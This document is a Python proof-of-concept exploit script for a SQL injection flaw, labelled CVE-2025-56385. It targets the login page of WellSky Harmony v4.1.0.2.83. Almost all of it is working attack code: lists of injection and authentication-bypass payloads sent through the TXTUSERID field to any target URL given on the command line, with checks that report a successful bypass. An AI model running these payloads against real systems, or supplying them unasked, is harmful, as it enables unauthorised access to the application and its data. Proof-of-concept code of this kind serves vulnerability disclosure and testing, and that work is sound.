# CVE-2025-56385 SQL Injection PoC for WellSky Harmony xmHarmony.asp
# Target: WellSky Harmony v4.1.0.2.83
# Attack Type: Authentication Bypass via SQL Injection
import requests
import sys
from urllib.parse import urlencode
def test_sql_injection(target_url):
"""
Test for SQL injection vulnerability in TXTUSERID parameter
"""
# Vulnerable endpoint
endpoint = f"{target_url}/xmHarmony.asp"
# Test payloads for SQL injection detection
payloads = [
"'",
"' OR '1'='1",
"' OR '1'='1' --",
"admin'--",
"' UNION SELECT NULL--",
"' AND SLEEP(5)--",
]
print(f"[*] Testing SQL Injection on {endpoint}")
print(f"[*] Target: {target_url}")
for i, payload in enumerate(payloads, 1):
print(f"\n[+] Testing payload {i}: {payload}")
# Prepare POST data
data = {
'TXTUSERID': payload,
'TXTPASSWORD': 'test',
'btnSubmit': 'Login'
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
try:
response = requests.post(endpoint, data=data, headers=headers, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Length: {len(response.text)}")
# Check for SQL error indicators
error_indicators = ['sql', 'syntax', 'error', 'mysql', 'odbc', 'database', 'warning']
response_lower = response.text.lower()
for indicator in error_indicators:
if indicator in response_lower:
print(f"[!] Potential SQL error detected: '{indicator}' found in response")
except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")
print("\n[*] Testing complete. Manual verification recommended.")
def exploit_auth_bypass(target_url):
"""
Attempt authentication bypass using common SQL injection techniques
"""
endpoint = f"{target_url}/xmHarmony.asp"
# Authentication bypass payloads
bypass_payloads = [
"' OR '1'='1'",
"' OR 'a'='a",
"' OR ''='",
"admin' OR '1'='1",
"' OR 1=1--",
]
print("\n[*] Attempting authentication bypass...")
for payload in bypass_payloads:
print(f"[*] Trying: {payload}")
data = {
'TXTUSERID': payload,
'TXTPASSWORD': 'anything',
'btnSubmit': 'Login'
}
try:
response = requests.post(endpoint, data=data, timeout=10, allow_redirects=False)
# Check for successful login indicators
if response.status_code in [200, 302]:
if 'location' in [h.lower() for h in response.headers.keys()]:
print(f"[!] Possible successful bypass - Redirect detected")
if any(x in response.text.lower() for x in ['dashboard', 'welcome', 'logout', 'menu']):
print(f"[!] SUCCESS: Authentication bypassed!")
return True
except requests.exceptions.RequestException as e:
print(f"[!] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-56385.py <target_url>")
print("Example: python cve-2025-56385.py http://vulnerable-server.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
test_sql_injection(target)
exploit_auth_bypass(target)